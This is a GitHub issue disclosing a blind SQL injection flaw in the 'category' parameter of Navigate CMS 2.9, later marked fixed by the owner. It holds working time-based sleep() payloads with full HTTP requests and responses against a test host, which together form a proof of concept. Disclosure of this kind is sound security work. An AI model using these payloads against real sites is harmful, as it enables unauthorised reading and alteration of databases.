

[New issue](#)

[Jump to bottom](#)

Blind SQL Injection Vulnerability Navigate CMS 2.9 #20

[Closed](#)

luuthehienhbit opened this issue on Jun 19, 2020 · 1 comment

luuthehienhbit commented on Jun 19, 2020

Expected behaviour

Blind SQL injection (SQLi) enforced to an injection attack wherein an attacker can execute malicious Blind SQL used to collect information via URL encoded GET input category.

Impact

Depending on the backend database, the database connection settings, and the operating system, an attacker can mount one or more of the following attacks successfully:

- Reading, updating and deleting arbitrary data or tables from the database.
- Executing commands on the underlying operating system.

Steps to reproduce

Inject payload on the category via request: [http://10.14.140.69:8012/navigate/navigate/navigate.php?_bogos=1592542677572&act=items_order&category==\(select\(0\)from\(select\(sleep\(0\)\)\)v\)/"+"%272B\(select\(0\)from\(select\(sleep\(0\)\)\)v\)%2B2722%2B\(select\(0\)from\(select\(sleep\(0\)\)\)v\)%2B22*%27&fid=items](http://10.14.140.69:8012/navigate/navigate/navigate.php?_bogos=1592542677572&act=items_order&category==(select(0)from(select(sleep(0)))v)/)

Payload: (select(0)from(select(sleep(0)))v)/+(select(0)from(select(sleep(0)))v)/+"+(select(0)from(select(sleep(0)))v)/+

Request

```
GET /navigate/navigate/navigate.php?_bogos=1592542677572&act=items_order&category=((select(0)from(select(sleep(0)))v)/+"%272B(select(0)from(select(sleep(0)))v)%2B2722%2B(select(0)from(select(sleep(0)))v)%2B22*%27&fid=items HTTP/1.1
Host: 10.14.140.69:8012
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: navigate-timeline-scroll=178170; navigate-language=en; PHPSESSID=cuaahb3kx1lguu5t3nug3f6c; NV919_4cfe0778625aa70=cuaahb3kx1lguu5t3nug3f6c
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

Response

```
HTTP/1.1 200 OK
Date: Fri, 18 Jun 2020 07:32:43 GMT
Server: Apache/2.4.43 (Ubuntu) OpenSSL/1.1.1g PHP/7.2.31
X-Powered-By: PHP/7.2.31
Set-Cookie: NV919_4cfe0778625aa70=cuaahb3kx1lguu5t3nug3f6c; path=/
Expires: Thu, 19 Nov 1991 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: NV919_4cfe0778625aa70=cuaahb3kx1lguu5t3nug3f6c; expires=Fri, 18-Jun-2020 08:52:43 GMT; Max-Age=3600; path=/; namesite=Lax; domain=10.14.140.69; HttpOnly
Set-Cookie: PHPSESSID=cuaahb3kx1lguu5t3nug3f6c; expires=Fri, 18-Jun-2020 08:52:43 GMT; Max-Age=3600; path=/; namesite=Lax; domain=10.14.140.69; HttpOnly
X-Caf-Token: d25ecb849eb0012df05d6464172727dfe03d41d81da64b6f70ab220
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 1004

<input type="hidden" id="items-order" name="items-order" value="" />
<div class="table" style="margin-left: 0px; margin-bottom: 10px;"> Drag the rows to assign priorities</div>
<table id="items_order_table" class="box-table" width="560px">
<thead>
<tr class="nodrop nodrag">
<th width="50" style="text-align: left;">ID</th>
<th width="450" style="text-align: left;">Title</th>
</tr>
</thead>
<tbody>
</tbody>
</table></div>
<div class="table" style="margin-left: 0px; margin-top: 10px;"><span class="ui-icon ui-icon-alert" style="float: left; margin-right: 4px;"></span> Order is only used on lists ordered by priority</div>

<script language="javascript" type="text/javascript">
if(!$.tablehub)
{
console.log("Navigate CMS: javascript problem");
}
if(confirm("There is a problem with your browser and the server that could make Navigate CMS unusable.\nNavigate CMS will try to force a
```

Payload: (select(0)from(select(sleep(10)))v)/+(select(0)from(select(sleep(10)))v)/+"+(select(0)from(select(sleep(10)))v)/+

Request

```
GET /navigate/navigate/navigate.php?_bogos=1592542677572&act=items_order&category=((select(0)from(select(sleep(10)))v)/+"%272B(select(0)from(select(sleep(10)))v)%2B2722%2B(select(0)from(select(sleep(10)))v)%2B22*%27&fid=items HTTP/1.1
Host: 10.14.140.69:8012
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: navigate-timeline-scroll=178170; navigate-language=en; PHPSESSID=cuaahb3kx1lguu5t3nug3f6c; NV919_4cfe0778625aa70=cuaahb3kx1lguu5t3nug3f6c
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

Response

```
HTTP/1.1 200 OK
Date: Fri, 18 Jun 2020 07:51:52 GMT
Server: Apache/2.4.43 (Ubuntu) OpenSSL/1.1.1g PHP/7.2.31
X-Powered-By: PHP/7.2.31
Set-Cookie: NV919_4cfe0778625aa70=cuaahb3kx1lguu5t3nug3f6c; path=/
Expires: Thu, 19 Nov 1991 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: NV919_4cfe0778625aa70=cuaahb3kx1lguu5t3nug3f6c; expires=Fri, 18-Jun-2020 08:51:52 GMT; Max-Age=3600; path=/; namesite=Lax; domain=10.14.140.69; HttpOnly
Set-Cookie: PHPSESSID=cuaahb3kx1lguu5t3nug3f6c; expires=Fri, 18-Jun-2020 08:51:52 GMT; Max-Age=3600; path=/; namesite=Lax; domain=10.14.140.69; HttpOnly
X-Caf-Token: d25ecb849eb0012df05d6464172727dfe03d41d81da64b6f70ab220
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 1004

<input type="hidden" id="items-order" name="items-order" value="" />
<div class="table" style="margin-left: 0px; margin-bottom: 10px;"> Drag the rows to assign priorities</div>
<table id="items_order_table" class="box-table" width="560px">
<thead>
<tr class="nodrop nodrag">
<th width="50" style="text-align: left;">ID</th>
<th width="450" style="text-align: left;">Title</th>
</tr>
</thead>
<tbody>
</tbody>
</table></div>
<div class="table" style="margin-left: 0px; margin-top: 10px;"><span class="ui-icon ui-icon-alert" style="float: left; margin-right: 4px;"></span> Order is only used on lists ordered by priority</div>

<script language="javascript" type="text/javascript">
if(!$.tablehub)
{
console.log("Navigate CMS: javascript problem");
}
if(confirm("There is a problem with your browser and the server that could make Navigate CMS unusable.\nNavigate CMS will try to force a
```

Payload: (select(0)from(select(sleep(20)))v)/+(select(0)from(select(sleep(20)))v)/+"+(select(0)from(select(sleep(20)))v)/+

Request

```
GET /navigate/navigate/navigate.php?_bogos=1592542677572&act=items_order&category=((select(0)from(select(sleep(20)))v)/+"%272B(select(0)from(select(sleep(20)))v)%2B2722%2B(select(0)from(select(sleep(20)))v)%2B22*%27&fid=items HTTP/1.1
Host: 10.14.140.69:8012
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: navigate-timeline-scroll=178170; navigate-language=en; PHPSESSID=cuaahb3kx1lguu5t3nug3f6c; NV919_4cfe0778625aa70=cuaahb3kx1lguu5t3nug3f6c
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

Response

```
HTTP/1.1 200 OK
Date: Fri, 18 Jun 2020 07:53:09 GMT
Server: Apache/2.4.43 (Ubuntu) OpenSSL/1.1.1g PHP/7.2.31
X-Powered-By: PHP/7.2.31
Set-Cookie: NV919_4cfe0778625aa70=cuaahb3kx1lguu5t3nug3f6c; path=/
Expires: Thu, 19 Nov 1991 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: NV919_4cfe0778625aa70=cuaahb3kx1lguu5t3nug3f6c; expires=Fri, 18-Jun-2020 08:53:10 GMT; Max-Age=3600; path=/; namesite=Lax; domain=10.14.140.69; HttpOnly
Set-Cookie: PHPSESSID=cuaahb3kx1lguu5t3nug3f6c; expires=Fri, 18-Jun-2020 08:53:10 GMT; Max-Age=3600; path=/; namesite=Lax; domain=10.14.140.69; HttpOnly
X-Caf-Token: d25ecb849eb0012df05d6464172727dfe03d41d81da64b6f70ab220
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 1004


<input type="hidden" id="items-order" name="items-order" value="" />
<div class="table" style="margin-left: 0px; margin-bottom: 10px;"> Drag the rows to assign priorities</div>
<table id="items_order_table" class="box-table" width="560px">
<thead>
<tr class="nodrop nodrag">
<th width="50" style="text-align: left;">ID</th>
<th width="450" style="text-align: left;">Title</th>
</tr>
</thead>
<tbody>
</tbody>
</table></div>
<div class="table" style="margin-left: 0px; margin-top: 10px;"><span class="ui-icon ui-icon-alert" style="float: left; margin-right: 4px;"></span> Order is only used on lists ordered by priority</div>

<script language="javascript" type="text/javascript">
if(!$.tablehub)
{
console.log("Navigate CMS: javascript problem");
}
if(confirm("There is a problem with your browser and the server that could make Navigate CMS unusable.\nNavigate CMS will try to force a
```

NavigateCMS commented on Jun 19, 2020

Owner

Fixed by [d459b1d](#)

 NavigateCMS closed this as completed on Jun 19, 2020

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

